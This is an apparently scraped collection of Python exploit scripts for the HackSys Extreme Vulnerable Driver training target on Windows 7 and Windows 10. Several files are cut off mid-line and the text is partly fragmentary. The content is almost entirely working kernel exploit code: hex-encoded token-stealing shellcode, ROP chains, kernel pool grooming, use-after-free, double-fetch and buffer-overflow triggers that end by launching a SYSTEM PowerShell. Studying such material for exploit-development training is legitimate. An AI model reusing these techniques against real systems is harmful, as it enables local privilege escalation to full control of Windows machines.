├── Windows 10 v1703 x64 ├── BufferOverflowNonPagedPoolNx_v3.00.py ├── BufferOverflowStack_v3.00.py ├── DoubleFetch_v1.20.py ├── TypeConfusion_v2.00.py ├── TypeConfusion_v3.00.py ├── UninitializedHeapVariable_v1.20.py ├── UninitializedStackVariable_v1.20.py ├── UseAfterFree_NonPagedPoolNx_v3.00.py └── UseAfterFree_v1.20.py └── Windows 7 SP1 x86 ├── ArbitraryOverwrite_HAL_v1.20.py ├── ArbitraryOverwrite_v1.20.py ├── DoubleFetch_v1.20.py ├── IntegerOverflow_v1.20.py ├── NullPointerDereference_v1.20.py ├── PoolOverflow_v1.20.py ├── StackOverflowGS_v1.20.py ├── StackOverflow_v1.20.py ├── TypeConfusion_v1.20.py ├── UninitializedHeapVariable_v1.20.py ├── UninitializedStackVariable_v1.20.py └── UseAfterFree_v1.20.py /Windows 10 v1703 x64/BufferOverflowNonPagedPoolNx_v3.00.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # HEVD v3.00 BufferOverflowNonPagedPoolNx exploit for Windows 10 v1703 x64 by @acru3l. 4 | # 5 | 6 | import sys 7 | import struct 8 | import os 9 | from ctypes import * 10 | from ctypes.wintypes import * 11 | 12 | ioctl_BufferOverflowNonPagedPoolNx = 0x22204B 13 | ioctl_CreateArbitraryReadWriteHelperObjectNonPagedPoolNx = 0x222063 14 | ioctl_SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx = 0x222067 15 | ioctl_GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx = 0x22206B 16 | ioctl_DeleteArbitraryReadWriteHelperObjectNonPagedPoolNx = 0x22206F 17 | 18 | device_name = r'\\.\HackSysExtremeVulnerableDriver' 19 | hFile = None 20 | 21 | class ARW_HELPER_OBJECT_NON_PAGED_POOL_NX(Structure): 22 | _fields_ = [('Name', c_void_p), 23 | ('Length', c_ulonglong)] 24 | 25 | class ARW_HELPER_OBJECT_IO(Structure): 26 | _fields_ = [('HelperObjectAddress', c_void_p), 27 | ('Name', c_void_p), 28 | ('Length', c_ulonglong)] 29 | 30 | def open_device(): 31 | ''' 32 | (re)open vulnerable device 33 | ''' 34 | global hFile 35 | 36 | if hFile > 0: 37 | windll.kernel32.CloseHandle(hFile) 38 | 39 | hFile = windll.kernel32.CreateFileA( 40 | device_name, 41 | 0xC0000000, # GENERIC_READ | GENERIC_WRITE 42 | 0x00000001, # FILE_SHARE_READ 43 | 0, # NULL 44 | 3, # OPEN_EXISTING 45 | 0x80, # FILE_ATTRIBUTE_NORMAL 46 | 0) # NULL 47 | 48 | if hFile == -1: 49 | #print '[-] Failed to open device: %s' % device_name 50 | return False 51 | else: 52 | #print '[+] Device opened successfully: %s' % device_name 53 | return True 54 | 55 | def call_BufferOverflowNonPagedPoolNx(data): 56 | ''' 57 | DeviceIoControl wrapper 58 | ''' 59 | open_device() 60 | data_buff = create_string_buffer(data) 61 | bytes_retn = c_ulong(0) 62 | 63 | print '[+] Triggering buffer overflow in NonPagedPoolNx' 64 | 65 | windll.kernel32.DeviceIoControl( 66 | hFile, 67 | ioctl_BufferOverflowNonPagedPoolNx, 68 | data_buff, 69 | len(data), 70 | 0, 71 | 0, 72 | byref(bytes_retn), 73 | 0) 74 | 75 | def call_CreateArbitraryReadWriteHelperObjectNonPagedPoolNx(size): 76 | ''' 77 | DeviceIoControl wrapper 78 | ''' 79 | open_device() 80 | helper_io = ARW_HELPER_OBJECT_IO() 81 | helper_io.HelperObjectAddress = c_void_p(0) 82 | helper_io.Name = c_void_p(0) 83 | helper_io.Length = c_ulonglong(size) 84 | bytes_retn = c_ulong(0) 85 | 86 | windll.kernel32.DeviceIoControl( 87 | hFile, 88 | ioctl_CreateArbitraryReadWriteHelperObjectNonPagedPoolNx, 89 | addressof(helper_io), 90 | sizeof(helper_io), 91 | 0, 92 | 0, 93 | byref(bytes_retn), 94 | 0) 95 | return helper_io.HelperObjectAddress 96 | 97 | def call_SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(obj, name): 98 | ''' 99 | DeviceIoControl wrapper 100 | ''' 101 | open_device() 102 | 103 | helper_io = ARW_HELPER_OBJECT_IO() 104 | helper_io.HelperObjectAddress = c_void_p(obj) 105 | name_buff = create_string_buffer(name) 106 | helper_io.Name = c_void_p(addressof(name_buff)) 107 | helper_io.Length = c_ulonglong(len(name)) 108 | bytes_retn = c_ulong(0) 109 | 110 | windll.kernel32.DeviceIoControl( 111 | hFile, 112 | ioctl_SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx, 113 | addressof(helper_io), 114 | sizeof(helper_io), 115 | 0, 116 | 0, 117 | byref(bytes_retn), 118 | 0) 119 | 120 | def call_GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(obj): 121 | ''' 122 | DeviceIoControl wrapper 123 | ''' 124 | open_device() 125 | helper_io = ARW_HELPER_OBJECT_IO() 126 | helper_io.HelperObjectAddress = c_void_p(obj) 127 | name_buff = create_string_buffer(0x8) 128 | helper_io.Name = c_void_p(addressof(name_buff)) 129 | helper_io.Length = c_ulonglong(0) 130 | bytes_retn = c_ulong(0) 131 | 132 | windll.kernel32.DeviceIoControl( 133 | hFile, 134 | ioctl_GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx, 135 | addressof(helper_io), 136 | sizeof(helper_io), 137 | 0, 138 | 0, 139 | byref(bytes_retn), 140 | 0) 141 | return name_buff.raw 142 | 143 | def call_DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx(obj): 144 | ''' 145 | DeviceIoControl wrapper 146 | ''' 147 | open_device() 148 | helper_io = ARW_HELPER_OBJECT_IO() 149 | helper_io.HelperObjectAddress = c_void_p(obj) 150 | helper_io.Name = c_void_p(0) 151 | helper_io.Length = c_ulonglong(0) 152 | bytes_retn = c_ulong(0) 153 | 154 | windll.kernel32.DeviceIoControl( 155 | hFile, 156 | ioctl_DeleteArbitraryReadWriteHelperObjectNonPagedPoolNx, 157 | addressof(helper_io), 158 | sizeof(helper_io), 159 | 0, 160 | 0, 161 | byref(bytes_retn), 162 | 0) 163 | 164 | def create_event_object(): 165 | ''' 166 | CreateEventA wrapper 167 | ''' 168 | return windll.kernel32.CreateEventA( 169 | 0, 170 | 0, 171 | 0, 172 | '') 173 | 174 | def read_qword(addr): 175 | ''' 176 | read arbitrary qword using corrupted helper obj 177 | ''' 178 | name = struct.pack(' dt nt!_POOL_HEADER ffffd201bb8db480 364 | # +0x000 PreviousSize : 0y00100000 (0x20) 365 | # +0x000 PoolIndex : 0y00000000 (0) 366 | # +0x002 BlockSize : 0y00000010 (0x2) 367 | # +0x002 PoolType : 0y00000010 (0x2) 368 | # +0x000 Ulong1 : 0x2020020 369 | # +0x004 PoolTag : 0x6b636148 370 | # +0x008 ProcessBilled : (null) 371 | # +0x008 AllocatorBackTraceIndex : 0 372 | # +0x00a PoolTagHash : 0 373 | fake_header0 = struct.pack(' dt nt!_POOL_HEADER ffffd201bb8db4a0 379 | # +0x000 PreviousSize : 0y00000010 (0x2) 380 | # +0x000 PoolIndex : 0y00000000 (0) 381 | # +0x002 BlockSize : 0y00000010 (0x2) 382 | # +0x002 PoolType : 0y00000010 (0x2) 383 | # +0x000 Ulong1 : 0x2020002 384 | # +0x004 PoolTag : 0x6b636148 385 | # +0x008 ProcessBilled : (null) 386 | # +0x008 AllocatorBackTraceIndex : 0 387 | # +0x00a PoolTagHash : 0 388 | fake_header1 = struct.pack(' | helper | F | ... 402 | # -----+-----+--------+-----+-----+-----+-----+--------+-----+----- 403 | call_BufferOverflowNonPagedPoolNx(payload) 404 | 405 | # search for corrupted obj 406 | corrupted = None 407 | for p in helper_objs: 408 | name = call_GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(p) 409 | if name[:0x8] != 'A' * 0x8 and name[:0x8] != struct.pack(' 0: 131 | windll.kernel32.CloseHandle(hFile) 132 | 133 | hFile = windll.kernel32.CreateFileA( 134 | device_name, 135 | 0xC0000000, # GENERIC_READ | GENERIC_WRITE 136 | 0x00000001, # FILE_SHARE_READ 137 | 0, # NULL 138 | 3, # OPEN_EXISTING 139 | 0x80, # FILE_ATTRIBUTE_NORMAL 140 | 0) # NULL 141 | 142 | if hFile == -1: 143 | print '[-] Failed to open device: %s' % device_name 144 | return False 145 | else: 146 | print '[+] Device opened successfully: %s' % device_name 147 | return True 148 | 149 | def call_BufferOverflowStack(data): 150 | ''' 151 | DeviceIoControl wrapper 152 | ''' 153 | open_device() 154 | data_buff = create_string_buffer(data) 155 | bytes_retn = c_ulong(0) 156 | 157 | print '[+] Triggering stack buffer overflow' 158 | 159 | windll.kernel32.DeviceIoControl( 160 | hFile, 161 | ioctl_BufferOverflowStack, 162 | data_buff, 163 | len(data), 164 | 0, 165 | 0, 166 | byref(bytes_retn), 167 | 0) 168 | 169 | def get_kernel_base(): 170 | ''' 171 | find base address of the kernel via EnumDeviceDrivers 172 | ''' 173 | array = c_ulonglong * 0x400 174 | addr = array() 175 | 176 | windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)] 177 | windll.psapi.EnumDeviceDrivers.restype = BOOL 178 | 179 | res = windll.psapi.EnumDeviceDrivers( 180 | cast(byref(addr), POINTER(LPVOID)), 181 | sizeof(addr), 182 | byref(c_ulong(0))) 183 | if not res: 184 | return None 185 | 186 | # Kernel is the first entry of the result 187 | return addr[0] 188 | 189 | def get_device_name(addr): 190 | ''' 191 | find file name of kernel via GetDeviceDriverBaseNameA 192 | ''' 193 | buff = create_string_buffer(0x400) 194 | 195 | windll.psapi.GetDeviceDriverBaseNameA.argtypes = [LPVOID, LPCSTR, DWORD] 196 | windll.psapi.GetDeviceDriverBaseNameA.restype = DWORD 197 | 198 | res = windll.psapi.GetDeviceDriverBaseNameA( 199 | addr, 200 | buff, 201 | sizeof(buff)) 202 | if res == 0: 203 | return None 204 | 205 | return buff[:res] 206 | 207 | def break_code(): 208 | import time 209 | time.sleep(0.5) 210 | windll.kernel32.DebugBreak() 211 | 212 | if __name__ == '__main__': 213 | if not open_device(): 214 | sys.exit(1) 215 | 216 | base_addr = get_kernel_base() 217 | if not base_addr: 218 | print '[-] Failed to obtain Kernel base' 219 | sys.exit(1) 220 | print '[+] Kernel base address: 0x%016x' % base_addr 221 | 222 | shellcode_addr = alloc_buffer(shellcode()) 223 | if not shellcode_addr: 224 | print '[-] Failed to allocate shellcode' 225 | sys.exit(1) 226 | print '[+] Shellcode allocated at 0x%016x' % shellcode_addr 227 | 228 | ropchain = build_ropchain(base_addr, shellcode_addr) 229 | 230 | payload = 'A' * 0x818 231 | payload += ropchain 232 | 233 | # trigger stack buffer overflow 234 | call_BufferOverflowStack(payload) 235 | 236 | # Got SYSTEM shell? 237 | import os 238 | os.system('powershell.exe') 239 | -------------------------------------------------------------------------------- /Windows 10 v1703 x64/DoubleFetch_v1.20.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # HEVD v1.20 DoubleFetch exploit for Windows 10 v1703 x64 by @acru3l. 4 | # 5 | 6 | import sys 7 | import struct 8 | import time 9 | import threading 10 | from ctypes import * 11 | from ctypes.wintypes import * 12 | 13 | ioctl_DoubleFetch = 0x222037 14 | 15 | device_name = r'\\.\HackSysExtremeVulnerableDriver' 16 | hFile = None 17 | 18 | def pusha(): 19 | ''' 20 | alernative to pusha on x86 21 | ''' 22 | # assembled with metasm 23 | code = '' 24 | code += '\x50' # push rax 25 | code += '\x53' # push rbx 26 | code += '\x51' # push rcx 27 | 28 | return code 29 | 30 | def popa(): 31 | ''' 32 | alternative to popa on x86 33 | ''' 34 | # assembled with metasm 35 | code = '' 36 | code += '\x59' # pop rcx 37 | code += '\x5b' # pop rbx 38 | code += '\x58' # pop rax 39 | 40 | return code 41 | 42 | def shellcode(): 43 | ''' 44 | token stealing shellcode 45 | ''' 46 | # assembled with metasm 47 | # steal token 48 | code = '' 49 | code += pusha() 50 | code += '\x65\x48\x8b\x04\x25\x88\x01\x00\x00' # mov rax,[gs:0x188] ; 0x188 = offset nt!_KPCR.PcrbData.CurrentThread 51 | code += '\x48\x8b\x80\xb8\x00\x00\x00' # mov rax,[rax+0xb8] ; 0xB8 = offset nt!_KTHREAD.ApcState.Process 52 | code += '\x48\x89\xc3' # mov rbx,rax 53 | code += '\x48\x8b\x9b\xe8\x02\x00\x00' # mov rbx,[rbx+0x2e8] ; 0x2E8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink 54 | code += '\x48\x81\xeb\xe8\x02\x00\x00' # sub rbx,0x2e8 55 | code += '\x48\x8b\x8b\xe0\x02\x00\x00' # mov rcx,[rbx+0x2e0] ; 0x2E0 = offset nt!_EPROCESS.UniqueProcessId 56 | code += '\x48\x83\xf9\x04' # cmp rcx,4 57 | code += '\x75\xe5' # jnz $-0x19 58 | code += '\x48\x8b\x8b\x58\x03\x00\x00' # mov rcx,[rbx+0x358] ; 0x358 = offset nt!_EPROCESS.Token 59 | code += '\x48\x89\x88\x58\x03\x00\x00' # mov [rax+0x358],rcx 60 | code += popa() 61 | # recover regs 62 | code += '\x48\x83\xc4\x10' # add rsp,0x10 63 | code += '\x48\x8b\x5c\x24\x28' # mov rbx,[rsp+0x28] 64 | code += '\x48\x8b\x83\xb8\x00\x00\x00' # mov rax,[rbx+0xB8] 65 | code += '\x48\x8b\x40\x20' # mov rax,[rax+0x20] 66 | code += '\x49\xba\xef\xbe\xfe\xca\xce\xfa\xed\xfe' # mov r10,0xfeedfacecafebeef ; mark as exploited 67 | code += '\x4c\x89\x10' # mov [rax],r10 68 | code += '\xc3' # ret -> returns to HEVD!IrpDeviceIoCtlHandler+0x1d3 69 | 70 | return code 71 | 72 | def alloc_buffer(data): 73 | ''' 74 | alloc buffer and copy data 75 | ''' 76 | windll.kernel32.VirtualAlloc.argtypes = [LPVOID, c_size_t, DWORD, DWORD] 77 | windll.kernel32.VirtualAlloc.restype = LPVOID 78 | 79 | buffer = windll.kernel32.VirtualAlloc( 80 | 0, 81 | len(data), 82 | 0x00003000, # MEM_COMMIT | MEM_RESERVE 83 | 0x40) # PAGE_EXECUTE_READWRITE 84 | 85 | memmove(buffer, data, len(data)) 86 | 87 | return buffer 88 | 89 | def build_ropchain(kernel_base, shellcode_addr): 90 | ''' 91 | trampoline to shellcode 92 | ''' 93 | chain = '' 94 | chain += struct.pack(' 0: 108 | windll.kernel32.CloseHandle(hFile) 109 | 110 | hFile = windll.kernel32.CreateFileA( 111 | device_name, 112 | 0xC0000000, # GENERIC_READ | GENERIC_WRITE 113 | 0x00000001, # FILE_SHARE_READ 114 | 0, # NULL 115 | 3, # OPEN_EXISTING 116 | 0x80, # FILE_ATTRIBUTE_NORMAL 117 | 0) # NULL 118 | 119 | if hFile == -1: 120 | print '[-] Failed to open device: %s' % device_name 121 | return False 122 | else: 123 | print '[+] Device opened successfully: %s' % device_name 124 | return True 125 | 126 | def call_DoubleFetch(object): 127 | ''' 128 | DeviceIoControl wrapper 129 | ''' 130 | #open_device() 131 | bytes_retn = c_ulong(0) 132 | 133 | windll.kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, POINTER(DWORD), LPVOID] 134 | windll.kernel32.DeviceIoControl.restype = BOOL 135 | 136 | windll.kernel32.DeviceIoControl( 137 | hFile, 138 | ioctl_DoubleFetch, 139 | object, 140 | 0x10, 141 | 0, 142 | 0, 143 | byref(bytes_retn), 144 | 0) 145 | 146 | def get_kernel_base(): 147 | ''' 148 | find base address of the kernel via EnumDeviceDrivers 149 | ''' 150 | array = c_ulonglong * 0x400 151 | addr = array() 152 | 153 | windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)] 154 | windll.psapi.EnumDeviceDrivers.restype = BOOL 155 | 156 | res = windll.psapi.EnumDeviceDrivers( 157 | cast(byref(addr), POINTER(LPVOID)), 158 | sizeof(addr), 159 | byref(c_ulong(0))) 160 | if not res: 161 | return None 162 | 163 | # Kernel is the first entry of the result 164 | return addr[0] 165 | 166 | def worker(addr, value, evt): 167 | ''' 168 | *(addr) = value until evt is set 169 | ''' 170 | print '[+] Thread started: worker(0x%016x, 0x%016x, ...)' % (addr, value) 171 | 172 | while not evt.is_set(): 173 | # better off using an atomic operation, but it works anyway 174 | memmove(addr, struct.pack(' 0: 245 | windll.kernel32.CloseHandle(hFile) 246 | 247 | hFile = windll.kernel32.CreateFileA( 248 | device_name, 249 | 0xC0000000, # GENERIC_READ | GENERIC_WRITE 250 | 0x00000001, # FILE_SHARE_READ 251 | 0, # NULL 252 | 3, # OPEN_EXISTING 253 | 0x80, # FILE_ATTRIBUTE_NORMAL 254 | 0) # NULL 255 | 256 | if hFile == -1: 257 | print '[-] Failed to open device: %s' % device_name 258 | return False 259 | else: 260 | print '[+] Device opened successfully: %s' % device_name 261 | return True 262 | 263 | def get_kernel_base(): 264 | ''' 265 | find base address of the kernel via EnumDeviceDrivers 266 | ''' 267 | array = c_ulonglong * 0x400 268 | addr = array() 269 | 270 | windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)] 271 | windll.psapi.EnumDeviceDrivers.restype = BOOL 272 | 273 | res = windll.psapi.EnumDeviceDrivers( 274 | cast(byref(addr), POINTER(LPVOID)), 275 | sizeof(addr), 276 | byref(c_ulong(0))) 277 | if not res: 278 | return None 279 | 280 | # Kernel is the first entry of the result 281 | return addr[0] 282 | 283 | def break_code(): 284 | import time 285 | time.sleep(0.5) 286 | windll.kernel32.DebugBreak() 287 | 288 | if __name__ == '__main__': 289 | if not open_device(): 290 | sys.exit(1) 291 | 292 | base_addr = get_kernel_base() 293 | if not base_addr: 294 | print '[-] Failed to obtain Kernel base' 295 | sys.exit(1) 296 | print '[+] Kernel base address: 0x%016x' % base_addr 297 | 298 | shellcode_addr = alloc_buffer(shellcode()) 299 | if not shellcode_addr: 300 | print '[-] Failed to allocate shellcode' 301 | sys.exit(1) 302 | print '[+] Shellcode allocated at 0x%016x' % shellcode_addr 303 | 304 | ropchain = build_ropchain(base_addr, shellcode_addr) 305 | spray_buffer = alloc_spray(ropchain) 306 | 307 | object = 'A' * 8 + \ 308 | struct.pack(' 0: 242 | windll.kernel32.CloseHandle(hFile) 243 | 244 | hFile = windll.kernel32.CreateFileA( 245 | device_name, 246 | 0xC0000000, # GENERIC_READ | GENERIC_WRITE 247 | 0x00000001, # FILE_SHARE_READ 248 | 0, # NULL 249 | 3, # OPEN_EXISTING 250 | 0x80, # FILE_ATTRIBUTE_NORMAL 251 | 0) # NULL 252 | 253 | if hFile == -1: 254 | print '[-] Failed to open device: %s' % device_name 255 | return False 256 | else: 257 | print '[+] Device opened successfully: %s' % device_name 258 | return True 259 | 260 | def get_kernel_base(): 261 | ''' 262 | find base address of the kernel via EnumDeviceDrivers 263 | ''' 264 | array = c_ulonglong * 0x400 265 | addr = array() 266 | 267 | windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)] 268 | windll.psapi.EnumDeviceDrivers.restype = BOOL 269 | 270 | res = windll.psapi.EnumDeviceDrivers( 271 | cast(byref(addr), POINTER(LPVOID)), 272 | sizeof(addr), 273 | byref(c_ulong(0))) 274 | if not res: 275 | return None 276 | 277 | # Kernel is the first entry of the result 278 | return addr[0] 279 | 280 | def break_code(): 281 | import time 282 | time.sleep(0.5) 283 | windll.kernel32.DebugBreak() 284 | 285 | if __name__ == '__main__': 286 | if not open_device(): 287 | sys.exit(1) 288 | 289 | base_addr = get_kernel_base() 290 | if not base_addr: 291 | print '[-] Failed to obtain Kernel base' 292 | sys.exit(1) 293 | print '[+] Kernel base address: 0x%016x' % base_addr 294 | 295 | shellcode_addr = alloc_buffer(shellcode()) 296 | if not shellcode_addr: 297 | print '[-] Failed to allocate shellcode' 298 | sys.exit(1) 299 | print '[+] Shellcode allocated at 0x%016x' % shellcode_addr 300 | 301 | ropchain = build_ropchain(base_addr, shellcode_addr) 302 | spray_buffer = alloc_spray(ropchain) 303 | 304 | object = 'A' * 8 + \ 305 | struct.pack(' 0: 118 | windll.kernel32.CloseHandle(hFile) 119 | 120 | hFile = windll.kernel32.CreateFileA( 121 | device_name, 122 | 0xC0000000, # GENERIC_READ | GENERIC_WRITE 123 | 0x00000001, # FILE_SHARE_READ 124 | 0, # NULL 125 | 3, # OPEN_EXISTING 126 | 0x80, # FILE_ATTRIBUTE_NORMAL 127 | 0) # NULL 128 | 129 | if hFile == -1: 130 | print '[-] Failed to open device: %s' % device_name 131 | return False 132 | else: 133 | print '[+] Device opened successfully: %s' % device_name 134 | return True 135 | 136 | def call_UninitializedHeapVariable(): 137 | ''' 138 | DeviceIoControl wrapper 139 | ''' 140 | open_device() 141 | bytes_retn = c_ulong(0) 142 | 143 | windll.kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, POINTER(DWORD), LPVOID] 144 | windll.kernel32.DeviceIoControl.restype = BOOL 145 | 146 | windll.kernel32.DeviceIoControl( 147 | hFile, 148 | ioctl_UninitializedHeapVariable, 149 | struct.pack(' 0: 239 | windll.kernel32.CloseHandle(hFile) 240 | 241 | hFile = windll.kernel32.CreateFileA( 242 | device_name, 243 | 0xC0000000, # GENERIC_READ | GENERIC_WRITE 244 | 0x00000001, # FILE_SHARE_READ 245 | 0, # NULL 246 | 3, # OPEN_EXISTING 247 | 0x80, # FILE_ATTRIBUTE_NORMAL 248 | 0) # NULL 249 | 250 | if hFile == -1: 251 | print '[-] Failed to open device: %s' % device_name 252 | return False 253 | else: 254 | print '[+] Device opened successfully: %s' % device_name 255 | return True 256 | 257 | def get_kernel_base(): 258 | ''' 259 | find base address of the kernel via EnumDeviceDrivers 260 | ''' 261 | array = c_ulonglong * 0x400 262 | addr = array() 263 | 264 | windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)] 265 | windll.psapi.EnumDeviceDrivers.restype = BOOL 266 | 267 | res = windll.psapi.EnumDeviceDrivers( 268 | cast(byref(addr), POINTER(LPVOID)), 269 | sizeof(addr), 270 | byref(c_ulong(0))) 271 | if not res: 272 | return None 273 | 274 | # Kernel is the first entry of the result 275 | return addr[0] 276 | 277 | def break_code(): 278 | import time 279 | time.sleep(0.5) 280 | windll.kernel32.DebugBreak() 281 | 282 | if __name__ == '__main__': 283 | if not open_device(): 284 | sys.exit(1) 285 | 286 | base_addr = get_kernel_base() 287 | if not base_addr: 288 | print '[-] Failed to obtain Kernel base' 289 | sys.exit(1) 290 | print '[+] Kernel base address: 0x%016x' % base_addr 291 | 292 | shellcode_addr = alloc_buffer(shellcode()) 293 | if not shellcode_addr: 294 | print '[-] Failed to allocate shellcode' 295 | sys.exit(1) 296 | print '[+] Shellcode allocated at 0x%016x' % shellcode_addr 297 | 298 | ropchain = build_ropchain(base_addr, shellcode_addr) 299 | spray_buffer = alloc_spray(ropchain) 300 | code_buffer = build_adhoc_code(spray_buffer) 301 | 302 | print '[+] Ad-hoc code alloced at: 0x%016x' % code_buffer 303 | 304 | print '[+] Executing ad-hoc code' 305 | 306 | WINFUNCTYPE(None)(code_buffer)() 307 | 308 | # Got SYSTEM shell? 309 | import os 310 | os.system("powershell.exe") 311 | 312 | -------------------------------------------------------------------------------- /Windows 10 v1703 x64/UseAfterFree_NonPagedPoolNx_v3.00.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # HEVD v3.00 UseAfterFree exploit for Windows 10 v1703 x64 by @acru3l. 4 | # 5 | 6 | import sys 7 | import struct 8 | from ctypes import * 9 | from ctypes.wintypes import * 10 | 11 | ioctl_AllocateUaFObject = 0x222053 12 | ioctl_UseUaFObject = 0x222057 13 | ioctl_FreeUaFObject = 0x22205B 14 | ioctl_AllocateFakeObject = 0x22205f 15 | 16 | device_name = r'\\.\HackSysExtremeVulnerableDriver' 17 | hFile = None 18 | 19 | def pusha(): 20 | ''' 21 | alernative to pusha on x86 22 | ''' 23 | # assembled with metasm 24 | code = '' 25 | code += '\x50' # push rax 26 | code += '\x53' # push rbx 27 | code += '\x51' # push rcx 28 | 29 | return code 30 | 31 | def popa(): 32 | ''' 33 | alternative to popa on x86 34 | ''' 35 | # assembled with metasm 36 | code = '' 37 | code += '\x59' # pop rcx 38 | code += '\x5b' # pop rbx 39 | code += '\x58' # pop rax 40 | 41 | return code 42 | 43 | def mov_rcx(value): 44 | ''' 45 | mov rcx,value 46 | ''' 47 | code = '\x48\xb9' + struct.pack(' 0: 248 | windll.kernel32.CloseHandle(hFile) 249 | 250 | hFile = windll.kernel32.CreateFileA( 251 | device_name, 252 | 0xC0000000, # GENERIC_READ | GENERIC_WRITE 253 | 0x00000001, # FILE_SHARE_READ 254 | 0, # NULL 255 | 3, # OPEN_EXISTING 256 | 0x80, # FILE_ATTRIBUTE_NORMAL 257 | 0) # NULL 258 | 259 | if hFile == -1: 260 | print '[-] Failed to open device: %s' % device_name 261 | return False 262 | else: 263 | #print '[+] Device opened successfully: %s' % device_name 264 | return True 265 | 266 | def call_AllocateUaFObject(): 267 | ''' 268 | DeviceIoControl wrapper 269 | ''' 270 | open_device() 271 | bytes_retn = c_ulong(0) 272 | 273 | windll.kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, POINTER(DWORD), LPVOID] 274 | windll.kernel32.DeviceIoControl.restype = BOOL 275 | 276 | windll.kernel32.DeviceIoControl( 277 | hFile, 278 | ioctl_AllocateUaFObject, 279 | struct.pack(' n - num_holes * 2: 360 | handles.append((rpipe, wpipe)) 361 | 362 | print '[+] Creating 0x%x holes' % num_holes 363 | 364 | # we need holes of size 0x70 365 | for h in handles[::2]: 366 | windll.kernel32.CloseHandle(h[0]) 367 | #windll.kernel32.CloseHandle(h[1]) 368 | 369 | def get_kernel_base(): 370 | ''' 371 | find base address of the kernel via EnumDeviceDrivers 372 | ''' 373 | array = c_ulonglong * 0x400 374 | addr = array() 375 | 376 | windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)] 377 | windll.psapi.EnumDeviceDrivers.restype = BOOL 378 | 379 | res = windll.psapi.EnumDeviceDrivers( 380 | cast(byref(addr), POINTER(LPVOID)), 381 | sizeof(addr), 382 | byref(c_ulong(0))) 383 | if not res: 384 | return None 385 | 386 | # Kernel is the first entry of the result 387 | return addr[0] 388 | 389 | def break_code(): 390 | import time 391 | time.sleep(0.5) 392 | windll.kernel32.DebugBreak() 393 | 394 | if __name__ == '__main__': 395 | if not open_device(): 396 | sys.exit(1) 397 | 398 | print '[+] Grooming Kernel Pool' 399 | 400 | groom_pool(0x20000) 401 | 402 | print '[+] Allocating UaF object' 403 | 404 | call_AllocateUaFObject() 405 | 406 | print '[+] Freeing UaF object' 407 | 408 | call_FreeUaFObject() 409 | 410 | base_addr = get_kernel_base() 411 | if not base_addr: 412 | print '[-] Failed to obtain Kernel base' 413 | sys.exit(1) 414 | print '[+] Kernel base address: 0x%016x' % base_addr 415 | 416 | shellcode_addr = alloc_buffer(shellcode()) 417 | if not shellcode_addr: 418 | print '[-] Failed to allocate shellcode' 419 | sys.exit(1) 420 | print '[+] Shellcode allocated at 0x%016x' % shellcode_addr 421 | 422 | fake_obj = '' 423 | fake_obj += struct.pack(' 0: 108 | windll.kernel32.CloseHandle(hFile) 109 | 110 | hFile = windll.kernel32.CreateFileA( 111 | device_name, 112 | 0xC0000000, # GENERIC_READ | GENERIC_WRITE 113 | 0x00000001, # FILE_SHARE_READ 114 | 0, # NULL 115 | 3, # OPEN_EXISTING 116 | 0x80, # FILE_ATTRIBUTE_NORMAL 117 | 0) # NULL 118 | 119 | if hFile == -1: 120 | print '[-] Failed to open device: %s' % device_name 121 | return False 122 | else: 123 | #print '[+] Device opened successfully: %s' % device_name 124 | return True 125 | 126 | def call_AllocateUaFObject(): 127 | ''' 128 | DeviceIoControl wrapper 129 | ''' 130 | open_device() 131 | bytes_retn = c_ulong(0) 132 | 133 | windll.kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, POINTER(DWORD), LPVOID] 134 | windll.kernel32.DeviceIoControl.restype = BOOL 135 | 136 | windll.kernel32.DeviceIoControl( 137 | hFile, 138 | ioctl_AllocateUaFObject, 139 | struct.pack(' n - num_holes * 2: 240 | handles.append((rpipe, wpipe)) 241 | 242 | print '[+] Creating 0x%x holes' % num_holes 243 | 244 | # we need holes of size 0x70 245 | for h in handles[::2]: 246 | windll.kernel32.CloseHandle(h[0]) 247 | #windll.kernel32.CloseHandle(h[1]) 248 | 249 | def get_kernel_base(): 250 | ''' 251 | find base address of the kernel via EnumDeviceDrivers 252 | ''' 253 | array = c_ulonglong * 0x400 254 | addr = array() 255 | 256 | windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)] 257 | windll.psapi.EnumDeviceDrivers.restype = BOOL 258 | 259 | res = windll.psapi.EnumDeviceDrivers( 260 | cast(byref(addr), POINTER(LPVOID)), 261 | sizeof(addr), 262 | byref(c_ulong(0))) 263 | if not res: 264 | return None 265 | 266 | # Kernel is the first entry of the result 267 | return addr[0] 268 | 269 | def break_code(): 270 | import time 271 | time.sleep(0.5) 272 | windll.kernel32.DebugBreak() 273 | 274 | def disclaimer(): 275 | print "[!] Lame UaF exploit. Try at your own risk." 276 | print "[!] Hit Enter to proceed or ctrl-c to quit." 277 | try: 278 | raw_input() 279 | except: 280 | sys.exit(1) 281 | 282 | if __name__ == '__main__': 283 | disclaimer() 284 | 285 | break_code() 286 | if not open_device(): 287 | sys.exit(1) 288 | 